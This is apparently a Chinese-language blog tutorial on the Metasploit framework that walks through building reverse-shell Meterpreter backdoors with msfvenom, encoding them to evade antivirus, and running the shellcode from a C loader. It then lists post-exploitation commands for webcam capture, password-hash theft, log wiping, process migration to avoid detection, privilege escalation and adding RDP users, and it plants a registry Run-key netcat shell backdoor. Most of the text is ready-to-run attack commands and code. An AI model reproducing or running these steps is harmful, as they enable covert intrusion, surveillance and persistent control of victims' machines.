Metasploit 簡稱(MSF)是一款流行的開源滲透測驗框架,由Rapid7
公司開發,可以幫助安全和IT專業人士識別安全性問題,驗證漏洞的緩解措施,并管理專家驅動的安全性進行評估,提供真正的安全風險情報,并且該框架還提供了一系列攻擊模塊和Payload
工具,可用于漏洞利用、及漏洞攻擊,同時軟體自身支持多種作業系統平臺,包括Windows、Linux、MacOS
等,直到今天Metasploit
已成為眾多黑客手中滲透攻擊的利器,并在安全領域大展身手,
- Metasploit官網:https://metasploit.com/
Metasploit框架主要包含以下幾個組件:
- 模塊庫:包含了一系列攻擊模塊和Payload工具,用戶可以利用這些模塊快速構造攻擊代碼,
- Payload生成器:支持生成多種型別的Payload,包括反向Shell、Meterpreter、WebShell等,
- 滲透測驗工具:支持多種滲透測驗技術,包括埠掃描、漏洞掃描、密碼破解等,
- 資料庫:用于存盤Metasploit框架的資料和攻擊結果,包括模塊資訊、主機資訊、漏洞資訊等,
- 插件系統:支持自定義插件,可以擴展Metasploit的功能,
Metasploit 的優勢在于其強大的攻擊模塊庫和Payload
生成器,可以幫助用戶快速構造攻擊代碼并進行滲透測驗,此外,該還支持多種漏洞利用技術,包括遠程代碼執行、緩沖區溢位、SQL注入等,可以滿足用戶不同的需求,
在使用該工具之前第一步則是要安裝此工具,由于該工具支持跨平臺,因此讀者可以根據自己的喜好自行安裝對應系統版本,這里推薦在Linux
內核的系統中使用該軟體,我們以Kali
系統為例講解工具的安裝流程及使用細節,
- Kali系統官網:https://www.kali.org/
Kali Linux 是一款基于Debian
的Linux發行版,旨在提供一套專業的滲透測驗和網路安全審計工具集,Kali Linux由Offensive Security
公司維護和開發,具有廣泛的社區支持和貢獻,Kali Linux包含了數百個網路安全測驗工具,包括漏洞掃描器、滲透測驗工具、密碼破解工具、無線網路測驗工具等,可以幫助安全專業人士識別和評估網路安全風險,加強系統和網路的安全性,
在默認情況下Kali
系統內都會內置Metasploit
工具,如果讀者使用的是其他第三方系統,則MSF的安裝也非常容易,讀者只需要執行如下幾條命令并等待片刻即可自動完成Metasploit的安裝;
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall
當讀者準備好測驗環境后,可通過Kali
系統內的頂部視窗打開控制臺,并輸入msfconsole
命令即可進入到MSF的互動式選單中,效果如下圖所示;
Metasploit 生成并使用后門
Metasploit 是一個強大的滲透測驗框架,它提供了廣泛的模塊,用于模擬各種安全攻擊,其中一個強大的功能是生成后門,它可以讓攻擊者在目標系統中保持持久訪問權限,在本章中,我們將探討如何使用Metasploit
生成各類后門,并了解它是如何作業的,我們將通過實際演示來說明如何靈活的運用Metasploit
生成的后門,并介紹一些最常用的技巧,
如果讀者想要通過MSF生成后門,那么將會用到msfvenom
命令,msfvenom是Metasploit框架中的一個子命令,用于生成各種型別的惡意軟體,包括后門、漏洞利用代碼、木馬、蠕蟲等,它是msfpayload
和msfencode
的結合體,提供了更靈活的選項和更強的功能,該命令的常用引數如下所示;
命令 | 功能描述 |
---|---|
-p | 指定需要使用的payload,即攻擊荷載, |
-l | 列出指定模塊的所有可用資源, |
-n | 為payload預先指定一個NOP滑動長度,用于防止程式崩潰, |
-f | 指定輸出格式,例如exe、elf、php、js等, |
-e | 指定需要使用的encoder編碼器,以隱藏惡意代碼, |
-a | 指定payload的目標架構,例如x86、x64等, |
--platform | 指定payload的目標平臺,例如Windows、Linux等, |
-s | 設定有效攻擊荷載的最大長度, |
-b | 設定規避字符集,以防止生成的payload中包含不可用字符, |
-i | 指定payload的編碼次數, |
--shellest | 最小化生成payload, |
MSF工具一般可生成兩種型別的后門,一種是生成通用可執行檔案,此類功能需用戶在對端運行才可激活,需要注意的是由于此類后門已被各類殺毒軟體廠家捕捉了特征,通常后門的生存能力很低無法在安裝有殺毒軟體的設備中正常運行,另一種則是直接生成ShellCode代碼,此類代碼并無特征并支持遠程注入攻擊,ShellCode代碼形式在軟體安全,漏洞利用領域使用最為廣泛,
首先我們先來簡單介紹一下MSF如何生成EXE和DLL可執行后門,如下案例中通過引數-a
指定平臺為x86也就是32位,如果讀者需要采用64位則此處應對應的改為x64,引數--platform Windows
用于指定生成平臺為windows
,引數-p windows/meterpreter/reverse_tcp
則用于指定使用的攻擊載荷為reverse_tcp
也就是反彈后門,引數lhost=192.168.1.20
指明了本機的IP地址,相對應的lport=9999
則指明了本機埠,引數-f
指明了生成的檔案格式為exe
,引數-o
則代表生成檔案存盤位置,引數-e
是一種編碼器格式,shikata_ga_nai
是Metasploit
框架中的一種encoder
編碼器,它用于隱藏惡意代碼,以避免殺毒軟體和防火墻的檢測,shikata_ga_nai
是一種多次編碼器,可以通過多次重復編碼來混淆惡意代碼,以使其難以識別,
除了shikata_ga_nai
之外,Metasploit框架中還有許多其他編碼器,包括但不限于:
Encoder | 描述 |
---|---|
alphanum | 使用字母數字字符對代碼進行編碼, |
alpha_upper | 使用大寫字母字符對代碼進行編碼, |
fnstenv_mov | 使用FPU指令對代碼進行編碼, |
jmp_call_additive | 使用跳轉指令和呼叫指令對代碼進行編碼, |
nonalpha | 使用非字母字符對代碼進行編碼, |
nonupper | 使用非大寫字母字符對代碼進行編碼, |
unicode_upper | 使用Unicode字符對代碼進行編碼, |
這些是Metasploit框架中常用的幾種編碼器,讀者可以根據需求選擇使用,
┌──(lyshark?kali)-[~]
└─$ msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
lhost=127.0.0.1 lport=9999 -e x86/shikata_ga_nai -i 3 -b '\x00\x0a\xff' -f exe -o payload.exe
┌──(lyshark?kali)-[~]
└─$ msfvenom -p windows/meterpreter/reverse_tcp -b'\x0\x0b' \
lhost=127.0.0.1 lport=9999 -f dll > payload.dll
雖然生成EXE可執行檔案可以被使用,但筆者并不推薦,因為此類方式極容易被查殺,筆者更推薦生成ShellCode
代碼,并通過第三方應用或通過系統漏洞來對其進行注入操作,此類實作將有利于后門的持續權限維持,如下命令則是生成ShellCode反彈后門的關鍵命令;
┌──(lyshark?kali)-[~]
└─$ msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=127.0.0.1 lport=9999 -f c
┌──(lyshark?kali)-[~]
└─$ msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=127.0.0.1 lport=9999 -f c
我們以ShellCode
生成為例,當前Kali攻擊主機IP地址為192.168.9.135
而被攻擊主機IP地址為192.168.9.118
此時,讀者需要現在攻擊主機生成一段ShellCode
并指定當前主機IP引數等,輸出效果如下圖所示;
接著,讀者需要將此ShellCode
代碼增加一個執行盒,并以此測驗ShellCode
的完整性及可用性,由于生成的ShellCode
是C語言格式,則讀者應使用C語言編譯器,如下案例中buf[]
用于填充我們自己的ShellCode代碼片段,
如下這段代碼,使用VirtualAlloc
函式在記憶體中分配一塊空間,并使用memcpy
函式將緩沖區內容復制到記憶體中,然后,它將記憶體中的代碼強制轉換為函式指標,并呼叫該函式,以此實作反彈執行的作用,其功能可總結為;
- 對于緩沖區buf定義了一個陣列,該陣列的內容為空,
- 定義了一個型別為
void (__stdcall *CODE)()
的函式指標,該指標將指向記憶體中的代碼, - 使用
VirtualAlloc
函式在記憶體中分配一塊空間,該空間大小為buf
陣列的大小,并允許該空間可執行、可讀、可寫, - 使用
memcpy
函式將buf
陣列內容復制到記憶體中, - 將記憶體中的代碼強制轉換為函式指標,并呼叫該函式,
#include <Windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "";
typedef void(__stdcall *CODE) ();
int main()
{
// ((void(*)(void))&buf)();
PVOID pFunction = NULL;
pFunction = VirtualAlloc(0, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(pFunction, buf, sizeof(buf));
CODE StartShell = (CODE)pFunction;
StartShell();
}
讀者需要打開Visual Studio 2013
編譯器,并新建一個控制臺應用程式,將如上代碼復制到編輯器內,通過替換unsigned char buf[] = "";
為我們自己的ShellCode代碼,如下圖所示;
編譯通過后,讀者應將lyshark.exe
后門拷貝到客戶端192.168.9.118
內;
服務端中,讀者需通過msfconsole
進入到MSF控制臺,并創建一個偵聽器組件,偵聽器適用于上線客戶端的,其中的lhost
則需傳遞本機的IP,其中的lport
則需要與本機開放埠保持一致;
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.9.135
lhost => 192.168.9.135
msf6 exploit(multi/handler) > set lport 9999
lport => 9999
當讀者配置引數完畢后,可通過show options
命令用于檢查配置引數的準確性,如果此時配置失誤讀者依然可以重新配置更改;
當配置就緒,則只需要執行exploit
則此時服務端將會進入偵聽模式,當然讀者也可以使用exploit -j -z
將請求掛載到后臺;
至此當被害主機運行lyshark.exe
行程時,則kali
服務端將會接收到反彈的上線會話,上線后讀者可通過sysinfo
來了解被控客戶端的主機資訊,如下圖所示;
一旦讀者獲取到對端主機的控制權,則可通過meterpreter
中提供的各類命令來對目標主機進行資訊收集作業,如下是該模塊中常用的一些操作命令,讀者可根據自行學習使用;
1.2.1 通用控制命令
meterpreter > essions -k 1 # 通過ID號殺死一個會話
meterpreter > background # 將會話放入后臺
meterpreter > getuid/getpid # 查詢用戶權限與PID
meterpreter > sysinfo # 查看目標系統資訊
meterpreter > ps # 查目標主機行程
meterpreter > kill PID # 殺死目標制定行程
meterpreter > getsystem # 嘗試令牌提權
meterpreter > shell # 進入目標shell環境
meterpreter > enumdesktops # 查看可用的桌面
meterpreter > getdesktop # 獲取當前meterpreter關聯的桌面
meterpreter > set_desktop # 設定meterpreter關聯的桌面
meterpreter > screenshot # 截屏
meterpreter > run vnc # 使用vnc遠程桌面連接
meterpreter > uictl disable mouse # 禁用目標滑鼠
meterpreter > uictl enable keyboard # 開啟目標鍵盤
meterpreter > webcam_list # 查看目標主機攝像頭
meterpreter > webcam_snap # 攝像頭拍照
meterpreter > webcam_stream # 開啟目標主機攝像頭
meterpreter > clearav # 銷毀日志檔案
meterpreter > webcam_stream -i 1/2 # 打開前置或后置攝像頭
meterpreter > check_root # 檢測root
meterpreter > dump_calllog # 下載電話記錄
meterpreter > dump_contacts # 下載資訊記錄
meterpreter > geolocate # 谷歌地圖定位
1.2.2 Migrate行程遷移
行程遷移技術允許攻擊者將Meterpreter客戶端從當前行程中遷移到另一個行程中,這可以避免檢測軟體識別Meterpreter客戶端,并對其進行清除,此外,行程遷移還可以幫助攻擊者隱藏其所在的行程,以避免被檢測,
meterpreter > execute # 在目標機器中執行檔案
meterpreter > execute -H -i -f cmd.exe # 創建新行程cmd.exe -H不可見-i互動
meterpreter > getpid
meterpreter > ps
meterpreter > migrate PID # 通過PID號遷移行程
1.2.3 檔案查閱與傳輸
Meterpreter 還具有檔案查閱與遠程檔案傳輸功能,這些功能允許攻擊者查看受害者計算機上的檔案,并傳輸檔案到受控機器,
meterpreter > getwd # 查看當前作業目錄
meterpreter > search -f *filename* # 搜索檔案
meterpreter > cat c:\\lyshark.log # 查看檔案內容
meterpreter > upload /tmp/shell.exe C:\\shell.exe # 上傳檔案到目標機
meterpreter > download c:\\shell.exe /tmp/ # 下載檔案到本機上
meterpreter > edit c:\\lyshark.log # VIM編輯或創建檔案
meterpreter > rm C:\\lyshark.log # 洗掉檔案
meterpreter > getlwd # 看肉雞當前目錄
meterpreter > lcd /tmp # 切換目錄
1.2.4 埠轉發與掃描
網路與埠轉發功能允許攻擊者將受害者的網路流量轉發到受控機器,進而獲取機密資訊或控制受害者的網路資源,該功能通過創建一個代理服務器,以便將網路流量從受害者的計算機轉發到受控機器,
# 網路引數采集
meterpreter > ifconfig # 查詢肉雞IP地址
meterpreter > netstat -antp # 查詢目標網路連接
meterpreter > arp -a # 查詢目標ARP快取
meterpreter > getproxy # 查看目標代理資訊
meterpreter > route # 查看目標路由表
# 遠端埠掃描
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.9.0/24 # 掃描192.168.9.0/24網段
meterpreter > run auxiliary/scanner/portscan/tcp RHOSTS=192.168.9.135 PORTS=3389 # 檢測192.168.9.135是否開啟3389埠
# 埠轉發與埠關閉
meterpreter > portfwd add -l 9999 -p 3389 -r 127.0.0.1 # 將目標機3389埠轉發到本地9999
meterpreter > portfwd list # 查詢當前轉發串列
meterpreter > portfwd delete -l 9999 # 洗掉本地主機的9999埠映射
# 添加與洗掉主機路由
meterpreter > run autoroute -p # 查詢添加的路由記錄
meterpreter > run autoroute -s 10.10.10.1 -n 255.255.255.0 # 在目標主機添加一條路由
meterpreter > run autoroute -d -s 10.10.10.1 # 洗掉目標主機中的路由
meterpreter > run autoroute -s 10.10.10.1/24 # 添加一個路由網段
1.2.5 資訊采集功能
資訊采集功能是后滲透中的重要功能,它允許攻擊者從受害者計算機上采集資訊,以便對其進行更深入的滲透,Metasploit 內置了大量的資訊采集模塊,用于從受害者計算機上收集資訊,這些模塊包括獲取作業系統版本、已安裝的軟體、已運行的行程、網路配置等資訊,
在Kali
系統中,資訊采集模塊被放置在了usr/share/metasploit-framework/modules
目錄下,這其中包括了針對各種型號設備的采集功能,如下圖所示;
以Windows系統中的搜集模塊為例,其默認存盤在/usr/share/metasploit-framework/modules/post/windows/gather
路徑下,讀者可取查看一下具體配置資訊;
當讀者在meterpreter
環境下時,這些功能可以被直接呼叫,我們已列舉目標服務為例,通過info
命令讀者可查詢特定模塊的定義規范,而run
則是運行這段列舉程式;
meterpreter > info post/windows/gather/enum_services # 查詢模塊配置引數
meterpreter > run post/windows/gather/enum_services # 列舉目標服務
meterpreter > run post/windows/gather/enum_files # 列舉目標服務
meterpreter > run post/windows/gather/hashdump # 盜取Hash
meterpreter > run post/windows/gather/checkvm # 是否虛擬機
meterpreter > run post/windows/gather/forensics/enum_drives # 查看磁區
meterpreter > run post/windows/gather/enum_applications # 獲取安裝軟體資訊
meterpreter > run post/windows/gather/dumplinks # 獲取最近的檔案操作
meterpreter > run post/windows/gather/enum_ie # 獲取IE快取
meterpreter > run post/windows/gather/enum_chrome # 獲取Chrome快取
meterpreter > run post/windows/gather/enum_patches # 補丁資訊
meterpreter > run post/windows/gather/enum_domain # 查找域控
當讀者執行列舉時,即可輸出目標行程內所有運行的服務資訊,讀者可依據自己的需要選擇不同的服務,如下圖所示則是列舉服務串列;
1.2.6 目標主機權限提升
針對目標主機的提權操作有兩種情況,讀者可使用bypassuac
腳本嘗試提權,也可使用enum_patches
列舉出系統補丁資訊,根據不同補丁采用不同的提權腳本實作,
# 使用bypassuac腳本嘗試提權
meterpreter > background
msf > use exploit/windows/local/bypassuac
msf > set SESSION 1
msf > run
# 收集目標主機補丁情況
meterpreter > run post/windows/gather/enum_patches
[+] KB2871997 is missing
[+] KB2928120 is missing
[+] KB977165 - Possibly vulnerable to MS10-015 kitrap0d if Windows 2K SP4 - Windows 7
# 嘗試采用符合的提權腳本提權
meterpreter > background
msf > use exploit/windows/local/ms13_053_schlamperei
msf > set SESSION 1
msf > exploit
1.2.7 添加用戶與開啟遠程
通常用戶在獲取到目標主機權限時,則可通過此命令在對端主機中開啟遠程桌面選項,以此來獲得一個長期穩定的后門,
# 添加系統用戶與開啟遠程桌面
meterpreter > run getgui -e # 開啟遠程桌面
meterpreter > run getgui -u lyshark -p 123123 # 添加用戶
meterpreter > run getgui -f 9999 -e # 3389埠轉發到9999
# 啟用RDP桌面
meterpreter > run post/windows/manage/enable_rdp # 開啟遠程桌面
meterpreter > run post/windows/manage/enable_rdp USERNAME=lyshark PASSWORD=123 # 添加用戶
meterpreter > run post/windows/manage/enable_rdp FORWARD=true LPORT=9999 # 將3389埠轉發到9999
1.2.8 注冊表寫入后門
通過上傳命令將nc.exe
后門傳輸到遠程主機,并通過寫出currentversion
設定開機自啟動后門,實作長期權限維持,該功能通常用于后滲透階段的權限維持,
-d 注冊表中值的資料
-k 注冊表鍵路徑
-v 注冊表鍵名稱
enumkey 列舉可獲得的鍵
setval 設定鍵值
queryval 查詢鍵值資料
# 上傳nc工具到根目錄
meterpreter > upload /root/nc.exe C:\\windows\\
# 列舉run下的key
meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
# 增加NC后門
meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v myshell -d 'C:\windows\nc.exe -Ldp 666 -e cmd.exe'
# 查看鍵值
meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v myshell
# 攻擊者即可鏈接NC獲取Shell
┌──(lyshark?kali)-[~]
└─$ nc -v 192.168.1.20 666
文章作者:lyshark (王瑞)文章出處:https://www.cnblogs.com/LyShark/p/17516082.html
本博客所有文章除特別宣告外,均采用 BY-NC-SA 許可協議,轉載請注明出處!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/556429.html
標籤:其他
下一篇:返回列表